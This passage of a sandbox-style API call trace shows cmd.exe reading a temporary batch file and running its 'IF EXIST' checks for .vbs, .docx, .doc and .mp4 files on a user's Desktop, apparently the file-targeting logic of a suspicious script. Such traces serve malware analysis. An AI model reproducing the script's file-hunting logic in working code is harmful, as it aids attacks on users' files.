(_OSFileHandle=0x74, _Flags=8) returned 3 [0039.405] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.405] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.405] GetProcessHeap () returned 0x4e0000 [0039.405] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0039.406] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176f, lpOverlapped=0x0) returned 1 [0039.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0039.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0039.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.406] GetFileType (hFile=0x74) returned 0x1 [0039.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0039.406] GetProcessHeap () returned 0x4e0000 [0039.406] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.406] GetProcessHeap () returned 0x4e0000 [0039.406] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.406] _tell (_FileHandle=3) returned 3776 [0039.406] _close (_FileHandle=3) returned 0 [0039.407] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.407] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0039.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0039.407] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176d, lpOverlapped=0x0) returned 1 [0039.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0039.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0039.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.407] GetFileType (hFile=0x74) returned 0x1 [0039.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0039.408] GetProcessHeap () returned 0x4e0000 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.408] GetProcessHeap () returned 0x4e0000 [0039.408] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.408] GetProcessHeap () returned 0x4e0000 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.408] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.408] GetProcessHeap () returned 0x4e0000 [0039.408] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.408] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.408] GetProcessHeap () returned 0x4e0000 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.408] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.408] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0039.408] GetProcessHeap () returned 0x4e0000 [0039.408] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0039.409] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0039.409] GetProcessHeap () returned 0x4e0000 [0039.409] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0039.409] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.409] GetProcessHeap () returned 0x4e0000 [0039.409] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.409] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0039.410] _tell (_FileHandle=3) returned 3803 [0039.410] _close (_FileHandle=3) returned 0 [0039.410] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0039.410] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.410] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.410] GetLastError () returned 0x2 [0039.410] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.410] GetLastError () returned 0x6 [0039.410] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.410] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.418] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.418] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.418] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.418] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.418] SetConsoleInputExeNameW () returned 0x1 [0039.418] GetConsoleOutputCP () returned 0x1b5 [0039.418] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.418] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.419] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.419] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.419] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.419] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.419] GetProcessHeap () returned 0x4e0000 [0039.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.420] GetProcessHeap () returned 0x4e0000 [0039.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.420] GetProcessHeap () returned 0x4e0000 [0039.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.420] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.420] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0039.420] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1752, lpOverlapped=0x0) returned 1 [0039.420] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0039.420] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0039.420] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.420] GetFileType (hFile=0x74) returned 0x1 [0039.420] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.420] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0039.420] GetProcessHeap () returned 0x4e0000 [0039.420] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.420] GetProcessHeap () returned 0x4e0000 [0039.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.420] _tell (_FileHandle=3) returned 3805 [0039.421] _close (_FileHandle=3) returned 0 [0039.421] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.421] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0039.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0039.421] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1750, lpOverlapped=0x0) returned 1 [0039.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0039.421] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0039.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.422] GetFileType (hFile=0x74) returned 0x1 [0039.422] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.422] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0039.422] GetProcessHeap () returned 0x4e0000 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.422] GetProcessHeap () returned 0x4e0000 [0039.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.422] GetProcessHeap () returned 0x4e0000 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.422] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.422] GetProcessHeap () returned 0x4e0000 [0039.422] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.422] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.422] GetProcessHeap () returned 0x4e0000 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.422] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.422] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.422] GetProcessHeap () returned 0x4e0000 [0039.422] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.423] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.423] GetProcessHeap () returned 0x4e0000 [0039.423] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.423] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.423] GetProcessHeap () returned 0x4e0000 [0039.423] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.423] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.424] _tell (_FileHandle=3) returned 3830 [0039.424] _close (_FileHandle=3) returned 0 [0039.424] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0039.424] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.424] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.424] GetLastError () returned 0x2 [0039.424] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.424] GetLastError () returned 0x6 [0039.424] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.424] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.425] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.425] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.425] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.425] SetConsoleInputExeNameW () returned 0x1 [0039.425] GetConsoleOutputCP () returned 0x1b5 [0039.426] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.426] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.426] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.426] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.426] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.426] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0039.426] GetProcessHeap () returned 0x4e0000 [0039.426] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.426] GetProcessHeap () returned 0x4e0000 [0039.426] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.426] GetProcessHeap () returned 0x4e0000 [0039.426] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.426] GetProcessHeap () returned 0x4e0000 [0039.426] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.426] GetProcessHeap () returned 0x4e0000 [0039.426] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.426] GetProcessHeap () returned 0x4e0000 [0039.426] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.427] GetProcessHeap () returned 0x4e0000 [0039.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.427] GetProcessHeap () returned 0x4e0000 [0039.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.427] GetProcessHeap () returned 0x4e0000 [0039.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.427] GetProcessHeap () returned 0x4e0000 [0039.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.427] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.427] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0039.427] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1737, lpOverlapped=0x0) returned 1 [0039.427] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0039.427] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0039.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.428] GetFileType (hFile=0x74) returned 0x1 [0039.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0039.428] GetProcessHeap () returned 0x4e0000 [0039.428] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.428] GetProcessHeap () returned 0x4e0000 [0039.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.428] _tell (_FileHandle=3) returned 3832 [0039.428] _close (_FileHandle=3) returned 0 [0039.428] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.428] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0039.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0039.429] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1735, lpOverlapped=0x0) returned 1 [0039.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0039.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0039.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.429] GetFileType (hFile=0x74) returned 0x1 [0039.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0039.429] GetProcessHeap () returned 0x4e0000 [0039.429] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.429] GetProcessHeap () returned 0x4e0000 [0039.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.429] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.429] GetProcessHeap () returned 0x4e0000 [0039.429] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.429] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.429] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.430] GetProcessHeap () returned 0x4e0000 [0039.430] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.430] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.430] GetProcessHeap () returned 0x4e0000 [0039.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.430] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.430] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.430] GetProcessHeap () returned 0x4e0000 [0039.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.430] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.430] GetProcessHeap () returned 0x4e0000 [0039.430] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.430] RtlAllocateHeap 